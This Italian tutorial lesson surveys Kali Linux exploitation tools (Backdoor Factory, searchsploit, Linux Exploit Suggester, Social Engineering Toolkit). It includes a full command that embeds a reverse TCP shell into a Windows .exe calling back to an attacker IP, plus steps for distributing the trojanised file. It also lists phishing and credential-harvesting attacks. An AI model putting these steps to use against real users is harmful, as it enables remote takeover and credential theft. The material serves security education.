Exploitation Tools

29 maggio 2018

I cosiddetti strumenti di exploitation, consentono di sfruttare le vulnerabilità di un sistema informatico al fine di ottenere privilegi amministrativi ove non siano normalmente concessi. Le modalità di sfruttamento di una vulnerabilità sono molteplici, e coinvolgono l’utilizzo di script, worm, injection, così come l’ingegneria sociale. In questa lezione ci focalizzeremo su alcuni tool interessanti, messi a disposizione da Kali, per condurre le tecniche di exploitation sopra elencate.

Backdoor Factory

Backdoor factory è uno strumento che consente di iniettare codice eseguibile (una “backdoor”, appunto) all’interno degli eseguibili .exe di Windows. Il processo è del tutto trasparente all’utente finale, che non dovrà accorgersi della “lieve” modifica subita dal codice eseguibile. Il repository ufficiale è disponibile su Github. Tecnicamente, ciò che accade all’interno del codice “patchato” è l’inserimento di quella che in gergo tecnico viene detta “cave”, ossia un’area che viene eseguita senza interferire con le rimanenti porzioni di codice.

Utilizzo

Backdoor facctory è uno script Python (versione 2), reso eseguibile su Kali tramite il seguente comando:

backdoor-factory [opzioni]

Tra le opzioni disponibili, le più utilizzate risultano le seguenti:

  • -f: il file all’interno del quale inserire la backdoor;
  • -s: il tipo di shell da rendere disponibile all’attaccante;
  • -H: indirizzo IP dell’attaccante su cui inviare la shell;
  • -P: porta dell’attaccante.

La procedura di inserimento della backdoor potrà essere perpetrata con il seguente comando:

backdoor-factory -f /usr/share/windows-backdoored/esempio.exe -H 192.168.1.101 -P 8888 -s reverse_shell_tcp

L’attaccante, quindi, seguirà la seguente procedura per la distribuzione del file infetto:

  1. Scarico un file non infetto da internet, di cui gli utenti possano fidarsi, ad esempio: “esempio.exe”;
  2. Eseguo backdoor-factory sull’eseguibile appena scaricato;
  3. Rendo disponibile online il file infetto, e attendo che qualcuno lo scarichi.

A questo punto, l’attaccante rimarrà in ascolto sulle porte su cui si aspetta l’arrivo di un codice shell per prendere il controllo delle macchine degli ignari utenti. Il seguente video dimostrativo mostra per intero la procedura, la cui vittima è un PC che esegue Windows 10:

Exploitdb

ExploitDB, è un’archivio, reso disponibile dalla Offensive Security, totalmente compatibile con le CVE (Common Vulnerabilities and Exposures), e costantemente aggiornato sulle vulnerabilità del software online.

Il tool messo a disposizione da Kali a tal proposito è “searchsploit”, che consente di ricercare (offline) vulnerabilità aventi determinate parole chiave. Questa possibilità risulta particolarmente utile nel caso di analisi di vulnerabilità di macchine isolate (per motivi di sicurezza) che non dispongono della connessione ad internet. Un tipico esempio di utilizzo è il seguente:

searchsploit oracle windows remote

che fornirà un risultato simile al seguente:

Figura 19. Output di searchsploit su Exploitdb (fonte: Exploitdb) (click per ingrandire)

Output di searchsploit su Exploitdb

Tramite il sito di Exploitdb, avremo accesso a una miriade di informazioni sulla tematica dell’exploitation. Potremo innanzitutto consultare il manuale di Searchsploit. Inoltre, avremo a disposizione la lista completa delle vulnerabilità dei software online, corredata dal codice per l’esecuzione dell’exploit. Infine, avremo a disposizione un generatore di shellcode per sistemi operativi Linux, Windows, OSX, IoS e Android.

Linux Exploit Suggester

Uno strumento simile al precedente, che consente di ottenere velocemente gli exploit perpetrabili su un determinato Kernel Linux. Il repository ufficiale è disponibile su GitHub.

Linux Exploit Suggester può lavorare in modalità remota, mediante la quale viene fornita unicamente la versione del kernel linux, per ottenere per la lista di exploit disponibili.

La modalità diretta esegue invece controlli addizionali sullo user-space; ad esempio, verificherà le entry “sysctl”, l’esistenza di determinati pacchetti installati sulla macchina, e così via.

Eseguiamo il programma digitando:

./linux-exploit-suggester.sh
per ottenere la lista degli exploit attuabili sulla macchina all’interno della quale viene eseguito il programma:

Figura 20. Output di Linux Exploit Suggester (fonte: Linux Exploit Suggester repo) (click per ingrandire)

Output di Linux Exploit Suggester

Alcune opzioni addizionali con cui può essere eseguito Linux Exploit Suggester sono le seguenti:

  • –checksec: fornisce la lista dei meccanismi di sicurezza hardware/kernel installati sulla macchina;
  • —pkglist-file <nomefile>: elenca i pacchetti installati che possono essere patchati con un exploit;
  • -k <kernel version>: fornisce la lista degli exploit per una determinata versione del kernel.

Social Engineering Toolkit (SET)

Il social engineering toolkit è uno strumento totalmente open-source, che consente di effettuare attacchi di ingegneria sociale in modo semplice ed intuitivo. Molti attacchi risultano già preconfigurati e pronti per essere lanciati, mentre è comunque possibile inserire nuovi attacchi completamente personalizzati. La documentazione completa sull’utilizzo è disponibile nel manuale d’uso, ed all’interno del repository Github ufficiale. Le piattaforme correntemente supportate sono Linux e Mac OS X.

Utilizzo

Lanciamo dalla shell il seguente comando:

setoolkit

Dovremmo visualizzare un menù di scelta simile al seguente:

Figura 21. Menù di scelta di SET (fonte: Social Engineering Toolkit) (click per ingrandire)

Menù di scelta di SET

A questo punto digitiamo “1”, per ottenere la lista degli attacchi di ingegneria sociale. Abbiamo selezionato i più importanti, riassumendoli nella seguente lista:

  1. Spear fishing: utilizzato per inviare mail con allegati contraffatti;
  2. Website attack vector: clonazione di siti web per derubare le credenziali delle vittime;
  3. Infectious media generator: crea velocemente file infetti muniti di shell remota (simile a backdoor factory);
  4. Mass mailer attack vector: attacco massivo che effettua l’invio di mail infette verso una lista di destinatari;
  5. Wireless access point attack vector: consente di creare un fake access point e/o perpetrare attacchi di tipo Man-in-the-middle;
  6. QRCode generator: utilizzato per effettuare il redirect degli utenti verso siti fake generati al solo scopo di derubare le credenziali degli utenti. Chiaramente va utilizzato in congiunzione alla voce website attack;

Su HTML.it è disponibile una guida approfondita su SET, che è possibile consultare per ottenere ulteriori informazioni sull’uso di questo strumento.

Tutte le lezioni

1 ... 4 5 6

 

 

1 ... 4 5 6

Se vuoi aggiornamenti su Exploitation Tools inserisci la tua e-mail nel box qui sotto:
 
X
Se vuoi aggiornamenti su Exploitation Tools

inserisci la tua e-mail nel box qui sotto:

Ho letto e acconsento l'informativa sulla privacy

Acconsento al trattamento di cui al punto 3 dell'informativa sulla privacy